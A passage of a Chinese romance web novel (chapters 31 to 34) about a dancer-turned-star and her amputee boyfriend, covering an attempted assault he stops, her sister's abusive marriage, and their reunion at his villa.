女人洗澡总归是比男人要慢,孟秦书吹好头发出来,已是五十分钟后的事情,以至于靳子煜等的都快睡着了,困倦感如同扰人的蚊子,一次次赶跑一次次飞回来。
但孟秦书坐到床上那一下,靳子煜登时耳清目明。
她掀起被压在睡袍衣领里面头发,乌黑发丝披泻在背部,恍若夜间绽放的鲜艳迷人的睡莲,清清浅浅的香气令一旁故作镇定的男人心神荡漾。
有一缕还埋在衣袍下,孟秦书正要去把它勾出来,床一动,旁边的男人距离她更近了,紧接着温热且粗粝的指腹在她后脖一下挠过去,勾出她这缕头发。
她扭脸是想感谢他,可突然间,眼前的光亮短暂闭合,她反手撑住床面,呼吸微滞,而他的吻虽迟但到。
除了那个夜晚,他的吻每一个环节都小心细致。
孟秦书曾经恐高,但早已不再恐惧,但她唯独怕一样,怕晕,那种感觉会头重脚轻,双眼模糊,正如她有一年为拍戏尝试坐了海盗船,而眼下正是那种感觉。
平时听不见的空调发动机运行声,传入耳膜内格外清晰,除此外还有她自身砰砰砰紧密的心跳声以及他的紊乱粗重的呼吸声,两个声音像是在一唱一和。
光亮恢复时,她心下一空,眼前是他被灯光镀了一层柔光的脸,这让他本就柔润的面部轮廓快与这片光融为一体。
“小书。”他轻喊她的小名。
人人都喊她小书,但只有他喊她时她的心会热一下。
“子煜。”她回应他。
他抬手托住她的下巴,而后他的吻再次落下,这次从她的唇,到脖颈,到她的锁骨,他浅浅轻啄,她的身体酥麻,晕的愈发厉害,双臂失力,坠落下去,尽管下面有枕头,但他仍把手掌垫在了她的脑后。
他倾身而上,他的臂力一向很好一只手就能把自己撑起来,拔出垫在她后脑勺下的手,他开始解开她腰间的腰带,拂开胸前两片衣襟。
但就是这时候。
“等等!”
孟秦书叫停靳子煜。
他一怔。
手往后摸伸进枕头,孟秦书难以面对地闭上眼,把卫生间抽屉里带出来一片计生用品递到靳子煜眼前。
室内静地落针可闻。
左手紧攥着床单,孟秦书面红耳赤。
下一瞬。
“噗嗤—”
憋笑憋得痛苦的两人一起笑出声。
31. 我答应
年前孟秦书在医院陪了靳子煜断断续续一个月,她于过年前三天回了孟家。
父母因她总违逆他们,再软硬皆施没用之下,他们开始对她实行冷暴力,对她叫他们“爸妈”不予理睬。
刚来孟家那一年,孟秦书有一次靠在沙发上睡着了,是孟坤用公主抱把她抱起送回卧室,并替她掖好被子。
那天她睡的迷迷糊糊,但对这件事,记忆深刻,因为那一瞬间,她体会到了父爱,体会到了被人爱,被人捧在手心的珍重。
而今他们对她置之不理,比让她跪在地上还要难受。
孟秦书在家待了一周,回去前,她借着早饭他们都在餐桌上,和他们说了一声自己要回学校,但他们依然把她当空气。
三月是个多雨的季节,持续十天的小雨,终于在月中迎来了大太阳。
孟秦书坐高铁回到海城,她没回家而是直接去了海城大学。
靳子煜已于上个月重新回归校园,与以往不同的是他现在只能架一副拐杖,第一次手术非常成功,第二次手术安排在七月份。
两人在林荫道上相遇,孟秦书这次来没提前说,是特意给靳子煜的惊喜,他脸上的表现与她所期望看到的一样。
孟秦书走上去,抬起双手从靳子煜两只拐杖下穿过,给了他一个拥抱。
路上来来往往的皆是青春洋溢、和他们年龄相仿的学生,靳子煜来海城大学虽没好好上过几天学,但几乎没人不认识他,实在是他的外形太过醒目。
很多人为他们侧目、驻足,但孟秦书眼里只有眼前人,他们一起往校门口走,一起去他租的房子。
靳子煜租的房子在学校对面的老小区,里面的商品房都有些年代了,外墙已经发灰,楼层最高六楼,只有步梯,当时考虑到出行方便,又不想租一楼太过潮湿,所以靳子煜选的是二楼。
两人到楼上,靳子煜拿钥匙开门,“咔哒”门打开,孟秦书跟在靳子煜身后进去。
进入屋内,孟秦书顺手关起门,靳子煜把双拐脱掉靠在墙上,仅靠左腿稳稳站着。
靳子煜向后方的她递出手,孟秦书握住他的手指,他轻轻一带,孟秦书顺势过去,靠到他身上。
双手虚叩住靳子煜的两个肩头,柔软的唇,蹭在他下颌处,靳子煜环住她的腰肢,低头下去,浅浅咬住她的双唇。
进门前孟秦书发现灰扑扑的墙面上再次出现了蓝色水笔写的水电维修和一串手机号麻。
这……大概是老小区的特色。
时间回到十二月。
孟秦书独自到这个房子,插/入钥匙打开门,她步进客厅,手一按墙上开关,方才发现电灯不亮。
她退到屋外,留意到上面的水电维修号码,她拿出手机给这个号码打了电话。
外面是晴朗的天气,但屋外的光线进不到靠北的客厅。
孟秦书敞开房门,坐在昏暗的客厅等待水电工得到来,在此期间她给靳子煜发了个信息,靳子煜回复她,还有十五分钟到。
门口有人敲门,孟秦书一抬头看到门口站了一个背着工具包,样子看上去四十岁左右的男人。
“你好,是你家需要服务吗?”水电工问她。
孟秦书走出去,问他,“家里没电了,能处理吗?”
那时孟秦书不知道电表箱在外面,其实只要打开电表箱推一把电闸就可以,但这是后来靳子煜告诉她的。
水电工取下肩上的工具包,取出一只像圆珠笔一样的东西,再背回去,他往客厅里张望一眼,对她说:“需到里面一步一步排查。”
孟秦书往一侧让,方便他进来。
水电工拿着他这支笔戳进墙上插座孔里,在客厅里一个一个插座试着,孟秦书看不懂他是在做什么。
水电工走到沙发旁,踢脚线上一个插座,他试了下,忽抬头看门口的她,告诉她,“美女,你们这个插座漏电,你过来看一下,需要换掉的话要加钱。”
孟秦书长了个心眼没关门,走至沙发边,弯腰看水电工所指的这个插座。
可猝不及防地,孟秦书被一道重力撞击身体,她脚步错乱地往后退,背部硬生生撞到墙面,水电工握住她的两条手臂往后压,用力摁在墙上。
“干什么!”一切来得太突然,她因惊吓过度而大叫。
她的声音一定传到了外面,只是外面没有人。
上身不能动弹,孟秦只能用脚踢,可这个恶徒下半身靠过来,用双腿夹住她的大腿外侧,她全身被紧固住,奋力摇晃身体,摇头反抗,但阻止不这个恶徒越来越靠近的脸。
“美女,你真漂亮。”
丑陋的脸孔,浑浊恶心的声音,令人作呕、毛骨悚然。
挣脱不得后,她眼看快哭出来,一道白影自门口冲进来。
白影是靳子煜。
靳子煜停在恶徒背后,用他没拄拐的手,锁住恶徒的肩膀,再狠狠往后一拽,强行把那恶徒从孟秦书身上拉开。
靳子煜又一鼓作气,用这只手,在恶徒没有反应过来前,一拳头正中他的面部。
“啊”
恶徒痛嚎,口鼻流血,本就心虚的他,连来人都没看清,慌忙往外逃窜。
与此同时,靳子煜却因自己施力过大,力量回弹到自身,下半身没稳住后仰。
千钧一发之际,孟秦书挺起身,伸出手去抓靳子煜的手腕,可只碰到他的指尖,还是晚了一步。
只听“砰”的一声,靳子煜仰面,后脑勺着地,重重摔在瓷砖地上,拐杖慢一步斜倒在他身上。
“子煜!”
孟秦书又惊又担心地尖叫。
她扑过去跪在靳子煜头旁边,手伸进他的脖子,把他的头抬起来,放到自己腿上,她担心他摔倒头,全身上下最重要的是头部。
这个之前说他保护不了她,如果遇到危险,让她快点跑的男人,却在紧急关头,不顾自身危险来解救她。
靳子煜在她怀里缓了片刻,睁开眼,眉头舒展,笑着
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对她说,“没事,快着地时,我脖子往前抻,头没撞地上。”
孟秦书扶他起来,一低头,看到地上躺着一只手电筒,这只手电筒是家里的,上次她找遥控板,看到它在茶几下,无疑是震落下来滚到那边的。
直到晚上孟秦书看到靳子煜后腰一小片通红,逼问下他才承认,摔下去的时候,腰部磕到了手电筒。
她的手滑到靳子煜腰椎手术的部位,由于是微创,创面只有一个五角硬币大小,但这段时间身体所受的痛苦是实打实的。
孟秦书回吻靳子煜,用力回吻他,那时她在心里起誓,往后余生要好好爱靳子煜,要和他永永久久在一起。
*
六月。
由舞蹈系黄教授带队,她们去往澳大利亚参加舞蹈公演。
那天的表演非常成功,台下掌声如雷,经久不息。
谢幕时,台下许多外国人跑上来给她们团队送鲜花,五颜六色的彩带自舞台上空落下,她手里的鲜花多到捧不下。
巡视完台下,正准备转身退场时,孟秦书眼梢掠到靠近大门口的那块角落,一个熟悉的人影站在那里。
孟秦书定住。
大门敞开着,外面大片白光泄进来,架着双拐的男人,逆着光,周身仿佛镀了一层光圈,即使看不清他,但她知道他一定是在对她微笑,他是靳子煜,是她眼里永远坚定而耀眼的存在。
由于孟秦书必须跟队,他们只在悉尼玩了一天,靳子煜又因没买到同班的飞机票,两人只能前后回国。
回T市那天,孟秦书在校门口被司机李伯叫住,李伯告诉她,母亲宋珍珠在车里等她。
孟秦书拉开车门,看到宋珍珠叫了一声“妈妈”。
时隔半年,宋珍珠终于给了她一张温柔的笑脸,宋珍珠探身出来,伸手握住她的手腕,把她拉入车内。
“小书,我知道你在怪我们非要拆散你和那个男孩子。”宋珍珠双手抓住她的手掌,两根大拇指在她手背上轻揉,“小书,你也不要怪爸爸妈妈,你说我们养了你近二十年,怎么可能对你没感情,你找这么一个男孩子,你想想,换作任何一对父母都不可能马上接受的,即使是孟媛,我们也一样对待。”
孟秦书垂下濡湿的眼睫,“但.....妈妈.....我喜欢他,真的很喜欢,能不能尝试接受他,他真的很好。”
宋珍珠短叹一声,“小书,这段时间我一直在试着说服你爸爸,就在前天他终于做出了让步,他说小书看中那个男孩,是没遇见过更好的男生,小书还记得你读初中时来过家里的彬彬哥哥吗?你爸爸的意思是下个月他回国,你们两个见个面,如果见面之后你依然坚定的喜欢那个男孩,我们不在阻拦你们,但.....你爸爸说他不会认。”
孟秦书抬起泪盈盈的眼眸,孟坤的让步她看到了,只要肯让步就有希望,靳子煜这么优秀,她相信总有一天他们会接受他的。
“好。”
不就是见一面,她去。
32. 回国
孟秦书一个人在韩国待了三天,第四天她买了机票回到了国内。
孟秦书是中午十点到的,在机场她和小杨分开,她告诉小杨不用回公司,这段时间给她放假,工资照发给她,小杨难掩欣喜,脚步轻快地离开。
海城已到隆冬,每到这个时期,海城的天总是阴的,小雨、雨夹雪轮番上阵,却很少见真正的大雪,即使偶尔下个几小时,也堆不起积雪,但地面总是湿哒哒的。
湿冷。
渗入骨头缝里的寒意。
红色假发、大墨镜、防晒面纱口罩,连羽绒服都是孟秦书平时很少穿的超大版型款式,像条米白色鹅绒被裹在身上,暖和是真的暖和,丑也是真的丑。
孟秦书打了车到‘汇悦台’,匆匆上了楼,取了车钥匙,关上房门,她径直去了地下车库。
昨天夜里,孟秦书给孟媛打去微信电话,是想知道她透露了多少当年的事情给靳子煜,没想到是一个听声音有些大龄的女人接的。
那女人语气不善地说了句孟媛在睡觉,但她听见电话里有医院病房呼叫铃的声音,还想多问一句,女人就把电话挂了。
挂掉电话孟秦书总觉得哪里不对劲,过了半小时,她打了第二通,这次是孟媛接的。
电话那头孟媛声音听上去有种哭腔,在她追问下,孟媛才道出她跟她丈夫在楼梯上吵架,争吵中摔下楼这件事。
车开到医院,恰巧遇上饭点,住院部一楼六部电梯,一眼望进去每部电梯门口都是乌泱泱的人头,孟秦书站在队伍最末排,轮了第三趟电梯她才被推进去。
公立医院就是如此,那年靳子煜做手术住的就是这家医院,那时候她去买饭的机会不多,都是靳子煜母亲江雪负责这种跑出跑进的事情,偶尔有个几次,也是回回都被挤到几乎吐血。
但有一天,江雪把她叫到鲜少有人经过的楼梯间,而后江雪从大衣口袋里拿出一个看着有一万左右厚度的红包,递到她面前,江雪善解人意地说:“你们都是是学生身上没多少钱,这是我的一点心意,小书你一定要收下。”
打从决心和靳子煜在一起,孟秦书就不再用家里给她的这张银行卡里的钱,而且这两年她一直在一家名气比较大的机构里教小孩子跳舞,利用一周两个晚上,偶尔再接个私教,一月也有小五千的收入。
靳子煜住院这段时间,课都暂停了,用的都是之前攒下来的存款,现在确实所剩不多。
其实,最近靳子煜时不时会给她转钱,一千两千给她,靳子煜在学生党中属于有钱的,大学四年间他经常出去打比赛,赢了会有可观的奖金,他那辆十几万的车就是用他自己打比赛所得买的,而不是靠家里。
他们母子很会为人考虑,只不过,靳子煜的钱她收得下,江雪的她不会收。
所以她拒绝了江雪的好意。
“叮”。
十楼到了,医院一共二十层,电梯轿厢里进来的人多,出去的人少,里面仍旧满满当当,孟秦书又是废了九牛二虎之力,才挤出电梯。
孟媛的病房在护士站对面,孟秦书象征性地敲了敲门,走进去。
里面是个三人间,孟秦书一眼看到躺在中间床上,靠着枕头,鼻青脸肿的孟媛。
她和孟媛生活十多年虽不对付,但不管怎么说,她们曾是家人,而且从前娇纵任性的女孩,现在被这个所谓的丈夫伤害成这样,纵然一个外人看了也会为其不平。
孟秦书心里一股无名火,而这时一只肤色偏黄的手握住孟秦书的手臂,她那一节袖子被这只手按的凹陷下去。
孟秦书知道是谁,是那个她一进门,就用黑幽幽的眼睛直勾勾盯着她,一脸尖酸刻薄相的短头发老女人。
毋庸置疑是孟媛的婆家人。
孟秦书手臂往后挥出去,一来是为了甩脱这只放在她身上让她生厌的手,二来是为了泄心里的火,抽出手后她直接一巴掌扇在这个老女人的脸上。
“啪”巴掌声响亮清脆。
惊呆了病房内两张床的病人以及家属。
田丽没想到自己只不过想问问这个进门就站在孟媛床尾的戴墨镜的女人是谁,话还没出口就生生吃了一巴掌。
但她也不是好惹的,她朝这个女人扑上去,十指弯成鸡爪状是要去挠抓女人面罩下的脸,可她还没接近,就被这个女人握住一条手臂,反向推,她只有一米五几,被这个女人完全压制,倒退数步,背部重重撞在瓷砖墙面上。
哪里来的泼妇!
孟媛爬下床,打赤脚快步到孟秦书身边,她瞅见门外都有不少人,特意停下来围观他们,孟媛用近乎求的语气对孟秦书说:“小书,她是我婆婆。”
孟秦书现在毕竟是大明星,孟媛是担心万一被人拍到,传出去会对她的名声有影响。
“孟媛你以前的脾气去哪里了!”孟秦书怒问。
手里那个老女人另只手不老实的扬过来,孟秦书出手极快一把握住,一样给她摁到墙上。
这次她用拇指的指甲使劲掐进老女人手腕的皮肤里,痛的老女人哎哟哎哟惨叫。
病房里观望的其中一个男性家属,见这个年轻的女人动手打长辈,撸袖子要上来帮忙,孟媛见状张开双臂拦住。
大声道:“是我家人,你们不要管!”
不仅病房里的人听有听见,外面的人也听得清清楚楚。
其他几位想帮忙的当即楞在原地。
这个上了年纪的女人一脸凶相,都知道不是什么好人,两天时间里照顾这个满脸是伤的女人,满脸嫌弃,时不时还骂几句难听的话。
家事他们真不好管。
眼看打不过,又没人来帮忙,田丽耍起了赖皮,她往下蹲,一边蹲一边继续哎哟哎哟哭嚎,只是双手被固定着她蹲了一半就蹲不下去了。
孟秦书嫌恶地收回手,垂眼看缩在地上的老女人,冷嗤道,“告诉你儿子,立刻马上离婚,否则我让他的事迹传遍海城,一定让他身败名裂。”
田丽没来由得害怕,整具身体抖了抖,一直以为孟媛没有家人撑腰,怎么冒出这么一个狠角色,她的话不像是唬人的,又是墨镜又是面罩,不知做的什么勾当,不像是个好人。
想到这处,田丽更是心惊肉跳。
随后孟秦书侧身对孟媛说,声调冷然,“孟媛换身衣服,穿好鞋跟我走。”
*
孟秦书带孟媛住进华侨医院。
上楼时,孟秦书在住院部楼下的精品水果店买了几盒水果,这会儿正坐在陪护椅上,正对垃圾桶,慢条斯理地削苹果皮。
“为什么不离婚?”
孟媛坐起来一些,是要慢慢说给孟秦书听,毕竟她的感情路崎岖又复杂,三言两语说不清楚,“我们刚结婚不过一年,刚开始徐朗不是这样,我认识徐朗时我们都是大学生,算是我暗恋他吧,准确说是那时对他有点好感。”
孟秦书往她脸上觑了一眼,那眼里的含义,像是再说没看出来她会是这样的人。
孟媛轻轻笑,她确实不是这样的人,她有点喜欢徐朗,但看不上他的家境,所以那时候根本没考虑跟他有进一步发展。
“但我知道家庭条件悬殊大,而且我这人你知道眼界很高,怎么
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会真的跟一个穷学生,之后在爸妈安排下认识了何溪,当时我们门当户对,何溪家境好人长得也帅气,我也挺喜欢他的。”
孟秦书手里的苹果已经削完,她停了手部动作,很有耐心地听孟媛继续说下去。
“再后来家里出了事情,退婚那一年,家里更是一团糟,在这个时候遇到了我的第一任丈夫,是我读研那年,在电视台做助理时认识的小领导。我们谈了三年领证结婚,可婚后不久他就出轨了,而我那时才怀孕没多久,我当时心气傲,也自私,不想孩子拖累我的后半生,生完孩子就把孩子扔给他们直接净身出户。”
想到那个才两岁多的孩子,孟媛眼里泛起泪花。
她以为逃脱了牢笼,没想到进了地狱。
孟秦书目色一下凝重起来,想不出是遇到了多大的事才会磨了孟媛那一生矜傲气,活成现在这个样子。
孟媛,“离婚没多久,我进了海城大学工作,工作一两年,没想到在这里遇到了徐朗,而他延续了大学时的专业,成了一名美术老师,因为以前对他有好感,他又猛烈的追求我,我们很快走到了一起,只是没想到他婚后跟变了一个人一样。”
孟媛双手紧攥被面,面露痛苦之色,这是自重逢以来,孟秦书第一次在孟媛脸上看到这种神色。
“徐朗他的性格喜怒不定,在外端端正正的像个人样,在家里一遇到什么不称心的事,就发脾气砸东西。我又怎么能容忍这种人,所以结婚不到两个月我就向他提出离婚。”
“而那天他跟疯了一样,把我摁桌上,为了不让别人发现我受伤,他用拳头捶我的肚子、用牙齿咬我的肩膀、胳膊、后背……只要是我身上衣服盖得住的地方,他一寸都没放过。”
说到这里,孟媛喉头抖得快说不下去,泪水潸然滑落,她眨了眨眼,眼珠往上面看,想让泪水回流,“徐朗拽着我的头发告诉我,如果我再敢提离婚,废了我,他不会让我死,要慢慢折磨我……”
孟秦书黑瞳颤了颤,手指甲掐进苹果果肉里面,拿着水果刀的左手,因她紧握成拳的动作,刀刃晃了一下。
一道寒光闪过。
“自从知道我不敢抵抗后,他更加变本加厉,以前靠砸东西发泄,改为打我来发泄,以前不敢再学校里对我动手,现在只要我一句话惹得他不高兴、或是看到我和别的男人走得近,他就不分场合的发疯。”
孟媛埋下头双手捂住脸,泪水自她指缝淌落,曾经不顺心就大哭大闹的她,现在只会无助悲痛地哽咽。
苹果已经氧化,果肉面发黄,又因被孟秦书指甲掐出水,果肉外观惨不忍睹,汁液顺着她指腹,一滴一滴,掉落进垃圾桶内,但她仍在无意识地用着力。
屋外传来药品推车的车轮滚动声,孟秦书眼神一晃,回到现实中,她扔掉手里的苹果。
手指黏黏腻腻,真恶心。
“孟媛,我会帮你找律师离婚,你现在有伤也去不了学校,在这之前,你住在医院里,不要私下去见这个人。”
孟秦书起身,她要去卫生间洗手,可蓦地想起自己来找孟媛的目的,恢复以往凉凉得语调,“孟媛,那件事你和靳子煜说了吗?”
孟媛知道她指的是哪件事,她有分寸不会说,孟媛摇摇头,怕孟秦书不信,向她保证:“我没有。”
洗手间回来,孟秦书重新削了一个苹果递给孟媛,孟媛接过她手里的苹果,给她道了声谢。
孟秦书手中的是一把折叠水果刀,大拇指一摁刀背,锋利的刀锋收入护套中。
孟秦书把刀往床头柜上一扔,准备出发去找靳子煜。
33. 未来
孟秦书从医院出来已是二点半,可靳子煜又是三点下课,本来还想出现在教室里给他个惊喜的,怕是赶不上了,担心去了跑空,孟秦书只好先给靳子煜打去电话。
刚拨过去电话就被接了,他像是守在手机前一样。
“小书。”
挟着笑意得声调,孟秦书已能想象到电话那头,他微上扬的唇角。
原本不大畅快的心情,只因听到靳子煜的声音而多云转晴,“子煜你是不是正想给我打电话?”
他回国这三天,每天晚上他们都发语音,都是简单得问候,但从他口里说出来格外撩人。
没在一起时想他,在一起后更想他,只愿每时每刻在他身边。
电话那头的靳子煜也刚坐进车里,外面的小雨今天就没停过,前挡风玻璃被持续不断地雨水冲刷,模糊到看不清外面的景物。
靳子煜调快了雨刮器速度,雨刮器一下接一下得高频率运作,扇开稠密的雨线,视线得以变得清明。
他定定神后道:“小书我是打算给你发语音,我查看了明天首尔的天气预报,想提醒你明天会有暴雪。”
音质清冽温柔。
孟秦书听完他的话轻笑出声,“子煜我每天呆在酒店里,你这是怕我被吹跑?”
她的话逗笑了靳子煜,他笑地很轻,顺了她的话茬,“可以这么认为,你也知道我追不上你。”
孟秦书回得快,“子煜,我不用你追,我会跑向你。”
没有很刻意的语调,自然流露的情感,这个女孩,总能轻而易举拿捏他。
唇角勾起餍足的弧度,一时忘记回复她,却听见电话里头的她吭吭清了两下喉咙,靳子煜以为是她身体不适,心头随之一紧,想问她怎么了,继而听见听筒里她的吟语低喃,“我的意思是我愿意来追你。”
仿佛花瓣轻拂过水面,荡起微不可察的涟漪,但直入人心。
靳子煜笑出声,笑音里漾出丝丝甜意,“我刚才是在想,靳子煜今生是撞了什么大运,能遇到孟秦书。”
最近天气不好,南方的冬天对靳子煜来说是个折磨,寒气和湿气都往他那截残肢里钻,每天都冻得麻木,回到家需要拿温水敷很久才能回温。
尤其近几年,但也怪他自己,注重外在形象,没多穿两条棉裤,不过,有孟秦书这两句话,不但给了他安慰还同时驱散掉了他身体那丁点不适。
须臾,靳子煜再度开口,“小书,这周五我飞来看看你。”
不能让她等的太久,现在交通这么发达,只要想见,万水千山都不会是阻碍。
“子煜,你看我只知道胡扯,正事没和你说。”顿了顿,孟秦书温声道,“我在海城,你在哪里?”
海城?
靳子煜挺起身,当即喜形于色,左手搁在方向盘上,急切地想去找她,根本不会怀疑孟秦书是不是故意在逗他,他不答反问,“小书,你在哪里?”
“我在汇悦台,子煜你来吗?”
孟秦书声音隐含期待,像钩子勾出了靳子煜想见她的迫切,他一键启动车子,脚依然在刹车上,已蓄势待发,“好,你在那里等我。”
挂掉电话,孟秦书赶紧启动车子,必须赶在靳子煜到达前抵达,只因为她还在医院呢。
半小时后,孟秦书出现在‘汇悦台’正门口,取掉假发,回归本色的她撑了一把红伞站在最低下的台阶上,雨水自伞骨一颗接一颗连成串的坠落到地面。
一看到靳子煜的车拐进来,孟秦书马上迈大步迎上去。
保时捷停在她面前,孟秦书绕到主驾驶车窗,车窗徐徐落下,出现靳子煜含笑的脸,他对她说,“小书上车带你去个地方。”
孟秦书没问去哪里,走去副驾驶,拉车门收起伞直接坐了进去。
车子原地掉头,开出小区内部路,汇入主路后靳子煜才出声,“三年前我在高新区买了一套别墅,我带你去看看。”
他想让她看看这几年他的成果。
那天姚宇问他一年年收入时,他说七八十万,不是他低调,也不是刻意隐瞒,而是还没说完,便被霍清辞好心打断。
孟秦书端详着靳子煜这张骨相优越的脸孔,挂着浅笑的他,揣着深情和温柔,终于不再是冷漠、拒人千里之外的表象。
这个时间段还不是上下班时间,没有堵车,一路顺畅,可就在即将要到‘壹号院’时,孟秦书却忽然出声喊他停车。
“子煜你靠边停下车,我去对面的超市挑件礼物。”
这片区域,马路外侧非机动车道上有划线的停车位,靳子煜依言,从主路拐出,靠边停车。
孟秦书伸手从后座拿了自己那把伞,另只手刚握住车把,被迟一步反应过来的靳子煜握住拿伞的手臂。
他眉梢笑意清浅,“小书去我家不用给我带礼物。”
“你想什么呢,不是给你的。”孟秦书回看他,觉得靳子煜挺会张冠李戴,“给你女儿买的。”
握她手臂的指节一滞,靳子煜脑海里加倍速回放起两人重逢那日,两人在车上交谈的场景,想到自己当时说了个“女孩”,作出真有那么回事的表情,又说了“四岁九个月”,再也忍不住的他,夸张地吭哧笑了出来。
没想到生平第一次忽悠人,还真把孟秦书给忽悠住了。
孟秦书被靳子煜这一笑,搞的一脸莫名。
“小书,书书—”靳子煜为难了,他该怎么说,书书是条贵宾犬。
孟秦书嗓音低柔语速缓慢,是想让他相信,“子煜,我不介意,真的。”
不介意?
靳子煜放开孟秦书的手臂,却是拿住了被她手握着的剩余半截伞柄,孟秦书当即会意,松开手,由他把自己这把伞重新拿回去扔到后座座椅上。
回过身来依旧是面向孟秦书的姿势,靳子煜放缓声解释给她听,“小书,书书只是我养的小宠物,一条小狗。”孟秦书澄亮的黑眸一点点放大,靳子煜随即向她道歉,“那天是我误导了你,小书对不起。”
书书不是他女儿?
书书是条狗?
一条狗为什么叫书书?
孟秦书应该生气的,可心里为什么更多是隐喜,她深呼吸一口气,故作出兴师问罪的凶样,“靳子煜,在你眼里我是条狗?”
“对不起。”
认错态度诚恳,看样子是深刻认识到了自己的错误。
凶不过三秒,孟秦书瞬间破功,但不能这么轻饶他,孟秦书双手捶他的胸膛,“靳子煜,我明天也养条狗,取名靳子煜,我天天叫它靳子煜,
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你你就是个大混蛋。”
靳子煜靠她更近,很乐意挨揍,孟秦书哪里舍得真打他,根本没用力,就在她收手之际,有力的手在她背部力度适中的一压,孟秦书被往前送,撞进靳子煜的怀里。
两人中间隔着一个扶手箱,另只手撩开她额前垂落的一缕发丝,靳子煜为她掖到耳后,墨如点漆的瞳眸中映照出她嗔怒的脸,他嗓音低沉沙哑,“小书,我错了。”
孟秦书哪里禁得住,不但没了气,心里丝丝密密的心疼,像蔓草一样向四面八方扩展,她捧住靳子煜的脸,对他说:“原谅你了。”
今天这场雨怕是停不下了,雨水打在车前挡风玻璃上,很快形成稠密度很高的胶水状,里面的人看不到外面,外面的行人也看不清里面。
*
靳子煜领着孟秦书回到家时,静姐还在厨房忙碌,耳尖的她听到开门声,一如往常,走到厨房门口,探出头来往外看。
一如往常说那句,“靳教授,晚饭马——”剩下那两个字噎了噎,找回来继续说,“上好。”
只因她看到靳教授身边多出了一个女人。
不要怪她大惊小怪,真的是她来这里两年,头一次见靳教授带回来一个女人,还是这么明艳动人的大美人。
书书围绕着靳教授跳来跳去,倒没有因为家里来了陌生人而汪汪叫,静姐想起前段时间,靳教授的一个不常来的男同事来家里,书书一直追着他叫,大型犬声音洪亮,整栋楼都是它的叫声。
看来书书喜欢美女。
靳教授脾气再好,可到底是屋主人,他们是雇佣关系,静姐识相的拉起移门,走回去炒菜。
“汪!”书书冲孟秦书叫了一声。
靳子煜换好拖鞋,弯弯唇说,“友好的意思。”
孟秦书不怕狗,反而很喜欢狗,只是以前家里不给养。
大一时,她在自习室楼底捡到一只两三个月的小狗,毛发也是白白的,她早晚都拿着吃剩的食物去投喂它,投喂了快有一年,眼看它从小不点变成成年犬。
可突然有一天,它不见了,她找了一周都没找到,不知道是被坏人抓走了,还是去外面的世界闯荡了,她就当它去外面闯荡,之后就再也没去找过它。
孟秦书跟在靳子煜身后往楼上走,书书跟在她的背后,孟秦书刚刚尝试抱过它,好重估摸着有六七十斤,然而自己一百斤不到,她没抱起来。
到了楼上,两人进入房间,靳子煜关上门,把书书关在屋外面,小狗在门上扒了一会儿,哼唧两声,没了声音大概是走了。
“小书,喜欢这里吗?”靳子煜拄着手杖继续往里走。
这是小套间,进门是客厅,东西两边各有一扇门,想必其中一间是卧室。
孟秦书扫视一圈房间,问的直白,“子煜,这是婚房吗?”
靳子煜驻足,转过身来看她,脸上笑意显著,“看你的意思,如果你喜欢‘汇悦台’,也可以买那里。”
“我喜欢大别墅,有大院子,有大露台,还有可爱的小狗,天气好时在露台的躺椅上午睡,天气不好时,去影音室看场电影,或者在被窝里躺一天。”
这是孟秦书曾经向他描绘的未来。
但她也能住老破小。
靳子煜知道。
34. 看电视
靳子煜吃晚饭比较早,五点不到就已经开饭,孟秦书以往在家的话都是六点左右吃,她好奇他吃得这么早,难道每天都能四点多回来?
靳子煜给出的回答是,保姆静姐五点前都会把晚饭做好回去,他不是每次都早回来,如果晚了就拿去厨房热一下再吃。
今晚的菜都不大对孟秦书胃口,但她晚上本身就吃得比较少,随便往嘴里拨了两口就吃饱了。
孟秦书放下碗筷,在桌上的餐巾纸盒里,抽取一张纸巾,擦拭干净嘴巴。
“吃不惯?”靳子煜看出来了。
孟秦书直言不讳,“子煜你口味变化蛮大的,不觉得荤菜偏甜,蔬菜偏咸?”她没有要怪静姐的意思,只是客观地评价。
靳子煜放下手里的小半碗米饭,“大概吃习惯了,要吃馄饨或者面条吗?我去给你煮。”
挂面是超市买的,馄饨是静姐现包储存在冷冻柜里的,这两样食物是靳子煜每天的早餐。
“不用了,我晚上吃得不多。”
孟秦书弯腰招来靳子煜脚下的书书,书书乖顺地走上来,孟秦书握住它两只前脚,抬起来放在自己膝盖上,再摸摸它毛茸茸的脑袋。
靳子煜嗯了声,拿起碗,问出在肚子里待了小半天的话,“小书晚上回去吗?”
孟秦书边逗狗边提问,“外面雨停了吗?”
雨停了就回去的意思?
靳子煜偏头看进厨房那扇窗子,冬季刚过五点,天已全黑,他隐隐约约听到雨打窗户的声音。
“还在下。”
孟秦书再摸一把狗头,说了句,“去玩吧。”膝盖往一侧偏,书书像听得懂一样,跳下她的膝盖,回到靳子煜脚下,继续乖乖得趴在那儿。
孟秦书仰起头,瞧见靳子煜正在吃饭,她眉眼染上淡淡笑意,“子煜,我挺喜欢这里的。”
闻言,某人用筷子的手一顿,快速扒了两口进嘴里,随后放下不留一粒米的空碗,抬头看到了她,他的双眸里有头顶那盏吊灯的暖光,声量略低,“那就住这里。”
吃完饭,孟秦书负责洗碗,靳子煜在餐厅擦桌子,水龙头放水声哗啦啦,洗水池里有两只空盘子,一只小碗,还有一只小碗在孟秦书手里,拿抹布擦洗。
孟秦书自己在家也做饭、做菜,家里有洗碗机,她不怎么用,平时只有两只碗,手洗比什么洗碗机快多了。
整栋别墅除了厨房间都铺满了地暖,餐厅门敞着,热气会跑进来去,倒也不觉得寒冷。
收拾完餐厅卫生的靳子煜倚在移门上,静静注视躬下背,专注洗碗的孟秦书,她身上这件修身针织衫,包裹出她窈窕细窄的身材,米白色更衬得她的肌肤如凝脂白玉。
身体里有股燥热在游走,靳子煜压了压呼吸,喉结缓缓滑动了下。
玻璃窗上清晰出现屋内的景象,自然也有洗手池前放水冲洗餐具的孟秦书,以及慢慢靠近她的人影。
一双手从孟秦书背后过来,松松环住她的腰,两只手掌交叠压在她的小腹上。
没拄手杖的靳子煜就这么悄无声息地上来,独属他的气息喷洒在她侧脸上,嗓音微哑,“小书,还有多久?”
孟秦书偏头想和他说话,脸颊噌到了他的柔软双唇,她状若无意埋下头,把手里最后一只碗冲洗干净。
“子煜,你这样让我怎么做事?”孟秦书一开口自己先笑了,“我先把碗收起来。”
两只碗,两只空盘都在沥水架子上,孟秦书是想把它们收到下面的抽屉里,靳子煜垂了垂眸,对她说:“小书不用管它们。”
孟秦书关掉水龙头抽取厨房纸巾擦拭干净双手,纸巾丢到拐角的纸篓里。
她说:“上楼了。”
*
家里不像酒店,孟秦书坐到沙发上想起没有睡衣、内衣内裤。
